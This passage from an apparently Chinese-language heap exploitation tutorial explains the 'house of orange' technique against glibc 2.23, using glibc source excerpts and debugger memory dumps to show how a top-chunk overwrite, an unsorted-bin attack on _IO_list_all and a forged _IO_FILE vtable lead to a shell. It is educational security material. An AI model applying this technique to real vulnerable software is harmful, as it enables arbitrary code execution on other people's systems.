  9. /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f3dae93e830]
  10. ./a.out[0x400509]
  11. ======= Memory map: ========
  12. 00400000-00401000 r-xp 00000000 08:01 919342 /home/firmy/how2heap/a.out
  13. 00600000-00601000 r--p 00000000 08:01 919342 /home/firmy/how2heap/a.out
  14. 00601000-00602000 rw-p 00001000 08:01 919342 /home/firmy/how2heap/a.out
  15. 01e81000-01ec4000 rw-p 00000000 00:00 0 [heap]
  16. 7f3da8000000-7f3da8021000 rw-p 00000000 00:00 0
  17. 7f3da8021000-7f3dac000000 ---p 00000000 00:00 0
  18. 7f3dae708000-7f3dae71e000 r-xp 00000000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1
  19. 7f3dae71e000-7f3dae91d000 ---p 00016000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1
  20. 7f3dae91d000-7f3dae91e000 rw-p 00015000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1
  21. 7f3dae91e000-7f3daeade000 r-xp 00000000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
  22. 7f3daeade000-7f3daecde000 ---p 001c0000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
  23. 7f3daecde000-7f3daece2000 r--p 001c0000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
  24. 7f3daece2000-7f3daece4000 rw-p 001c4000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
  25. 7f3daece4000-7f3daece8000 rw-p 00000000 00:00 0
  26. 7f3daece8000-7f3daed0e000 r-xp 00000000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so
  27. 7f3daeef4000-7f3daeef7000 rw-p 00000000 00:00 0
  28. 7f3daef0c000-7f3daef0d000 rw-p 00000000 00:00 0
  29. 7f3daef0d000-7f3daef0e000 r--p 00025000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so
  30. 7f3daef0e000-7f3daef0f000 rw-p 00026000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so
  31. 7f3daef0f000-7f3daef10000 rw-p 00000000 00:00 0
  32. 7ffe8eba6000-7ffe8ebc7000 rw-p 00000000 00:00 0 [stack]
  33. 7ffe8ebee000-7ffe8ebf1000 r--p 00000000 00:00 0 [vvar]
  34. 7ffe8ebf1000-7ffe8ebf3000 r-xp 00000000 00:00 0 [vdso]
  35. ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
  36. $ whoami
  37. firmy
  38. $ exit
  39. Aborted (core dumped)

house-of-orange 是一种利用堆溢出修改 _IO_list_all 指针的利用方法。它要求能够泄漏堆和 libc。我们知道一开始的时候,整个堆都属于 top chunk,每次申请内存时,就从 top chunk 中划出请求大小的堆块返回给用户,于是 top chunk 就越来越小。

当某一次 top chunk 的剩余大小已经不能够满足请求时,就会调用函数 sysmalloc() 分配新内存,这时可能会发生两种情况,一种是直接扩充 top chunk,另一种是调用 mmap 分配一块新的 top chunk。具体调用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阀值 mp_.mmap_threshold

  1. if (av == NULL
  2. || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
  3. && (mp_.n_mmaps < mp_.n_mmaps_max)))
  4. {

同时,为了能够调用 sysmalloc() 中的 _int_free(),需要 top chunk 大于 MINSIZE,即 0x10:

  1. if (old_size >= MINSIZE)
  2. {
  3. _int_free (av, old_top, 1);
  4. }

当然,还得绕过下面两个限制条件:

  1. /*
  2. If not the first time through, we require old_size to be
  3. at least MINSIZE and to have prev_inuse set.
  4. */
  5. assert ((old_top == initial_top (av) && old_size == 0) ||
  6. ((unsigned long) (old_size) >= MINSIZE &&
  7. prev_inuse (old_top) &&
  8. ((unsigned long) old_end & (pagesize - 1)) == 0));
  9. /* Precondition: not enough current space to satisfy nb request */
  10. assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

即满足 old_size 小于 nb+MINSIZEPREV_INUSE 标志位为 1,old_top+old_size 页对齐这几个条件。

首先分配一个大小为 0x400 的 chunk:

  1. gef x/4gx p1-0x10
  2. 0x602000: 0x0000000000000000 0x0000000000000401 <-- chunk p1
  3. 0x602010: 0x0000000000000000 0x0000000000000000
  4. gef x/4gx p1-0x10+0x400
  5. 0x602400: 0x0000000000000000 0x0000000000020c01 <-- top chunk
  6. 0x602410: 0x0000000000000000 0x0000000000000000

默认情况下,top chunk 大小为 0x21000,减去 0x400,所以此时的大小为 0x20c00,另外 PREV_INUSE 被设置。

现在假设存在溢出漏洞,可以修改 top chunk 的数据,于是我们将 size 字段修改为 0xc01。这样就可以满足上面所说的条件:

  1. gef x/4gx p1-0x10+0x400
  2. 0x602400: 0x0000000000000000 0x0000000000000c01 <-- top chunk
  3. 0x602410: 0x0000000000000000 0x0000000000000000

紧接着,申请一块大内存,此时由于修改后的 top chunk size 不能满足需求,则调用 sysmalloc 的第一种方法扩充 top chunk,结果是在 old_top 后面新建了一个 top chunk 用来存放 new_top,然后将 old_top 释放,即被添加到了 unsorted bin 中:

  1. gef x/4gx p1-0x10+0x400
  2. 0x602400: 0x0000000000000000 0x0000000000000be1 <-- old top chunk [be freed]
  3. 0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
  4. gef x/4gx p1-0x10+0x400+0xbe0
  5. 0x602fe0: 0x0000000000000be0 0x0000000000000010 <-- fencepost chunk 1
  6. 0x602ff0: 0x0000000000000000 0x0000000000000011 <-- fencepost chunk 2
  7. gef x/4gx p2-0x10
  8. 0x623000: 0x0000000000000000 0x0000000000001011 <-- chunk p2
  9. 0x623010: 0x0000000000000000 0x0000000000000000
  10. gef x/4gx p2-0x10+0x1010
  11. 0x624010: 0x0000000000000000 0x0000000000020ff1 <-- new top chunk
  12. 0x624020: 0x0000000000000000 0x0000000000000000
  13. gef heap bins unsorted
  14. [ Unsorted Bin for arena 'main_arena' ]
  15. [+] unsorted_bins[0]: fw=0x602400, bk=0x602400
  16. Chunk(addr=0x602410, size=0xbe0, flags=PREV_INUSE)

于是就泄漏出了 libc 地址。另外可以看到 old top chunk 被缩小了 0x20,缩小的空间被用于放置 fencepost chunk。此时的堆空间应该是这样的:

  1. +---------------+
  2. | p1 |
  3. +---------------+
  4. | old top-0x20 |
  5. +---------------+
  6. | fencepost 1 |
  7. +---------------+
  8. | fencepost 2 |
  9. +---------------+
  10. | ... |
  11. +---------------+
  12. | p2 |
  13. +---------------+
  14. | new top |
  15. +---------------+

详细过程如下:

  1. if (old_size != 0)
  2. {
  3. /*
  4. Shrink old_top to insert fenceposts, keeping size a
  5. multiple of MALLOC_ALIGNMENT. We know there is at least
  6. enough space in old_top to do this.
  7. */
  8. old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
  9. set_head (old_top, old_size | PREV_INUSE);
  10. /*
  11. Note that the following assignments completely overwrite
  12. old_top when old_size was previously MINSIZE. This is
  13. intentional. We need the fencepost, even if old_top otherwise gets
  14. lost.
  15. */
  16. chunk_at_offset (old_top, old_size)->size =
  17. (2 * SIZE_SZ) | PREV_INUSE;
  18. chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size =
  19. (2 * SIZE_SZ) | PREV_INUSE;
  20. /* If possible, release the rest. */
  21. if (old_size >= MINSIZE)
  22. {
  23. _int_free (av, old_top, 1);
  24. }
  25. }

根据放入 unsorted bin 中 old top chunk 的 fd/bk 指针,可以推算出 _IO_list_all 的地址。然后通过溢出将 old top 的 bk 改写为 _IO_list_all-0x10,这样在进行 unsorted bin attack 时,就会将 _IO_list_all 修改为 &unsorted_bin-0x10

  1. /* remove from unsorted list */
  2. unsorted_chunks (av)->bk = bck;
  3. bck->fd = unsorted_chunks (av);
  1. gef x/4gx p1-0x10+0x400
  2. 0x602400: 0x0000000000000000 0x0000000000000be1
  3. 0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510

这里讲一下 glibc 中的异常处理。一般在出现内存错误时,会调用函数 malloc_printerr() 打印出错信息,我们顺着代码一直跟踪下去:

  1. static void
  2. malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
  3. {
  4. [...]
  5. if ((action & 5) == 5)
  6. __libc_message (action & 2, "%s\n", str);
  7. else if (action & 1)
  8. {
  9. char buf[2 * sizeof (uintptr_t) + 1];
  10. buf[sizeof (buf) - 1] = '\0';
  11. char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
  12. while (cp > buf)
  13. *--cp = '0';
  14. __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
  15. __libc_argv[0] ? : "<unknown>", str, cp);
  16. }
  17. else if (action & 2)
  18. abort ();
  19. }

调用 __libc_message

  1. // sysdeps/posix/libc_fatal.c
  2. /* Abort with an error message. */
  3. void
  4. __libc_message (int do_abort, const char *fmt, ...)
  5. {
  6. [...]
  7. if (do_abort)
  8. {
  9. BEFORE_ABORT (do_abort, written, fd);
  10. /* Kill the application. */
  11. abort ();
  12. }
  13. }

do_abort 调用 fflush,即 _IO_flush_all_lockp

  1. // stdlib/abort.c
  2. #define fflush(s) _IO_flush_all_lockp (0)
  3. if (stage == 1)
  4. {
  5. ++stage;
  6. fflush (NULL);
  7. }
  1. // libio/genops.c
  2. int
  3. _IO_flush_all_lockp (int do_lock)
  4. {
  5. int result = 0;
  6. struct _IO_FILE *fp;
  7. int last_stamp;
  8. #ifdef _IO_MTSAFE_IO
  9. __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  10. if (do_lock)
  11. _IO_lock_lock (list_all_lock);
  12. #endif
  13. last_stamp = _IO_list_all_stamp;
  14. fp = (_IO_FILE *) _IO_list_all; // 将其覆盖
  15. while (fp != NULL)
  16. {
  17. run_fp = fp;
  18. if (do_lock)
  19. _IO_flockfile (fp);
  20. if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
  21. #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  22. || (_IO_vtable_offset (fp) == 0
  23. && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
  24. > fp->_wide_data->_IO_write_base))
  25. #endif
  26. )
  27. && _IO_OVERFLOW (fp, EOF) == EOF) // 将其修改为 system 函数
  28. result = EOF;
  29. if (do_lock)
  30. _IO_funlockfile (fp);
  31. run_fp = NULL;
  32. if (last_stamp != _IO_list_all_stamp)
  33. {
  34. /* Something was added to the list. Start all over again. */
  35. fp = (_IO_FILE *) _IO_list_all;
  36. last_stamp = _IO_list_all_stamp;
  37. }
  38. else
  39. fp = fp->_chain; // 指向我们指定的区域
  40. }
  41. #ifdef _IO_MTSAFE_IO
  42. if (do_lock)
  43. _IO_lock_unlock (list_all_lock);
  44. __libc_cleanup_region_end (0);
  45. #endif
  46. return result;
  47. }

_IO_list_all 是一个 _IO_FILE_plus 类型的对象,我们的目的就是将 _IO_list_all 指针改写为一个伪造的指针,它的 _IO_OVERFLOW 指向 system,并且前 8 字节被设置为 ‘/bin/sh’,所以对 _IO_OVERFLOW(fp, EOF) 的调用最终会变成对 system('/bin/sh') 的调用。

  1. // libio/libioP.h
  2. /* We always allocate an extra word following an _IO_FILE.
  3. This contains a pointer to the function jump table used.
  4. This is for compatibility with C++ streambuf; the word can
  5. be used to smash to a pointer to a virtual function table. */
  6. struct _IO_FILE_plus
  7. {
  8. _IO_FILE file;
  9. const struct _IO_jump_t *vtable;
  10. };
  11. // libio/libio.h
  12. struct _IO_FILE {
  13. int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
  14. #define _IO_file_flags _flags
  15. /* The following pointers correspond to the C++ streambuf protocol. */
  16. /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  17. char* _IO_read_ptr; /* Current read pointer */
  18. char* _IO_read_end; /* End of get area. */
  19. char* _IO_read_base; /* Start of putback+get area. */
  20. char* _IO_write_base; /* Start of put area. */
  21. char* _IO_write_ptr; /* Current put pointer. */
  22. char* _IO_write_end; /* End of put area. */
  23. char* _IO_buf_base; /* Start of reserve area. */
  24. char* _IO_buf_end; /* End of reserve area. */
  25. /* The following fields are used to support backing up and undo. */
  26. char *_IO_save_base; /* Pointer to start of non-current get area. */
  27. char *_IO_backup_base; /* Pointer to first valid character of backup area */
  28. char *_IO_save_end; /* Pointer to end of non-current get area. */
  29. struct _IO_marker *_markers;
  30. struct _IO_FILE *_chain;
  31. int _fileno;
  32. #if 0
  33. int _blksize;
  34. #else
  35. int _flags2;
  36. #endif
  37. _IO_off_t _old_offset; /* This used to be _offset but it's too small. */
  38. #define __HAVE_COLUMN /* temporary */
  39. /* 1+column number of pbase(); 0 is unknown. */
  40. unsigned short _cur_column;
  41. signed char _vtable_offset;
  42. char _shortbuf[1];
  43. /* char* _save_gptr; char* _save_egptr; */
  44. _IO_lock_t *_lock;
  45. #ifdef _IO_USE_OLD_IO_FILE
  46. };

其中有一个指向函数跳转表的指针,_IO_jump_t 的结构如下:

  1. // libio/libioP.h
  2. struct _IO_jump_t
  3. {
  4. JUMP_FIELD(size_t, __dummy);
  5. JUMP_FIELD(size_t, __dummy2);
  6. JUMP_FIELD(_IO_finish_t, __finish);
  7. JUMP_FIELD(_IO_overflow_t, __overflow);
  8. JUMP_FIELD(_IO_underflow_t, __underflow);
  9. JUMP_FIELD(_IO_underflow_t, __uflow);
  10. JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
  11. /* showmany */
  12. JUMP_FIELD(_IO_xsputn_t, __xsputn);
  13. JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
  14. JUMP_FIELD(_IO_seekoff_t, __seekoff);
  15. JUMP_FIELD(_IO_seekpos_t, __seekpos);
  16. JUMP_FIELD(_IO_setbuf_t, __setbuf);
  17. JUMP_FIELD(_IO_sync_t, __sync);
  18. JUMP_FIELD(_IO_doallocate_t, __doallocate);
  19. JUMP_FIELD(_IO_read_t, __read);
  20. JUMP_FIELD(_IO_write_t, __write);
  21. JUMP_FIELD(_IO_seek_t, __seek);
  22. JUMP_FIELD(_IO_close_t, __close);
  23. JUMP_FIELD(_IO_stat_t, __stat);
  24. JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
  25. JUMP_FIELD(_IO_imbue_t, __imbue);
  26. #if 0
  27. get_column;
  28. set_column;
  29. #endif
  30. };

伪造 _IO_jump_t 中的 __overflow 为 system 函数的地址,从而达到执行 shell 的目的。

当发生内存错误进入 _IO_flush_all_lockp 后,_IO_list_all 仍然指向 unsorted bin,这并不是一个我们能控制的地址。所以需要通过 fp->_chain 来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61,因为此时 _IO_list_all&unsorted_bin-0x10,偏移 0x60 位置上是 smallbins[5]。此时,如果触发一个不适合的 small chunk 分配,malloc 就会将 old top 从 unsorted bin 放回 smallbins[5] 中。而在 _IO_FILE 结构中,偏移 0x60 指向 struct _IO_marker *_markers,偏移 0x68 指向 struct _IO_FILE *_chain,这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top,这是一个我们能够控制的地址。

在将 _IO_OVERFLOW 修改为 system 的时候,有一些条件检查:

  1. if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
  2. #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  3. || (_IO_vtable_offset (fp) == 0
  4. && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
  5. > fp->_wide_data->_IO_write_base))
  6. #endif
  7. )
  8. && _IO_OVERFLOW (fp, EOF) == EOF) // 需要修改为 system 函数
  1. // libio/libio.h
  2. struct _IO_wide_data *_wide_data;
  3. /* Extra data for wide character streams. */
  4. struct _IO_wide_data
  5. {
  6. wchar_t *_IO_read_ptr; /* Current read pointer */
  7. wchar_t *_IO_read_end; /* End of get area. */
  8. wchar_t *_IO_read_base; /* Start of putback+get area. */
  9. wchar_t *_IO_write_base; /* Start of put area. */
  10. wchar_t *_IO_write_ptr; /* Current put pointer. */
  11. wchar_t *_IO_write_end; /* End of put area. */
  12. wchar_t *_IO_buf_base; /* Start of reserve area. */
  13. wchar_t *_IO_buf_end; /* End of reserve area. */
  14. /* The following fields are used to support backing up and undo. */
  15. wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
  16. wchar_t *_IO_backup_base; /* Pointer to first valid character of
  17. backup area */
  18. wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
  19. __mbstate_t _IO_state;
  20. __mbstate_t _IO_last_state;
  21. struct _IO_codecvt _codecvt;
  22. wchar_t _shortbuf[1];
  23. const struct _IO_jump_t *_wide_vtable;
  24. };

所以这里我们设置 fp->_mode = 0fp->_IO_write_base = (char *) 2fp->_IO_write_ptr = (char *) 3,从而绕过检查。

然后,就是修改 _IO_jump_t,将其指向 winner:

  1. gef x/30gx p1-0x10+0x400
  2. 0x602400: 0x0068732f6e69622f 0x0000000000000061 <-- old top
  3. 0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 <-- bk points to io_list_all-0x10
  4. 0x602420: 0x0000000000000002 0x0000000000000003 <-- _IO_write_base, _IO_write_ptr
  5. 0x602430: 0x0000000000000000 0x0000000000000000
  6. 0x602440: 0x0000000000000000 0x0000000000000000
  7. 0x602450: 0x0000000000000000 0x0000000000000000
  8. 0x602460: 0x0000000000000000 0x0000000000000000
  9. 0x602470: 0x0000000000000000 0x00000000004006d3 <-- winner
  10. 0x602480: 0x0000000000000000 0x0000000000000000
  11. 0x602490: 0x0000000000000000 0x0000000000000000
  12. 0x6024a0: 0x0000000000000000 0x0000000000000000
  13. 0x6024b0: 0x0000000000000000 0x0000000000000000
  14. 0x6024c0: 0x0000000000000000 0x0000000000000000
  15. 0x6024d0: 0x0000000000000000 0x0000000000602460 <-- vtable
  16. 0x6024e0: 0x0000000000000000 0x0000000000000000
  17. gef p *((struct _IO_FILE_plus *) 0x602400)
  18. $1 = {
  19. file = {
  20. _flags = 0x6e69622f,
  21. _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
  22. _IO_read_end = 0x7ffff7dd1b78 <main_arena+88> "\020@b",
  23. _IO_read_base = 0x7ffff7dd2510 "",
  24. _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
  25. _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
  26. _IO_write_end = 0x0,
  27. _IO_buf_base = 0x0,
  28. _IO_buf_end = 0x0,
  29. _IO_save_base = 0x0,
  30. _IO_backup_base = 0x0,
  31. _IO_save_end = 0x0,
  32. _markers = 0x0,
  33. _chain = 0x0,
  34. _fileno = 0x0,
  35. _flags2 = 0x0,
  36. _old_offset = 0x4006d3,
  37. _cur_column = 0x0,
  38. _vtable_offset = 0x0,
  39. _shortbuf = "",
  40. _lock = 0x0,
  41. _offset = 0x0,
  42. _codecvt = 0x0,
  43. _wide_data = 0x0,
  44. _freeres_list = 0x0,
  45. _freeres_buf = 0x0,
  46. __pad5 = 0x0,
  47. _mode = 0x0,
  48. _unused2 = '\000' <repeats 19 times>
  49. },
  50. vtable = 0x602460
  51. }

最后随意分配一个 chunk,由于 size<= 2*SIZE_SZ,所以会触发 _IO_flush_all_lockp 中的 _IO_OVERFLOW 函数,获得 shell。

  1. for (;; )
  2. {
  3. int iters = 0;
  4. while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
  5. {
  6. bck = victim->bk;
  7. if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
  8. || __builtin_expect (victim->size > av->system_mem, 0))
  9. malloc_printerr (check_action, "malloc(): memory corruption",
  10. chunk2mem (victim), av);
  11. size = chunksize (victim);

到此,how2heap 里全部的堆利用方法就全部讲完了。

参考资料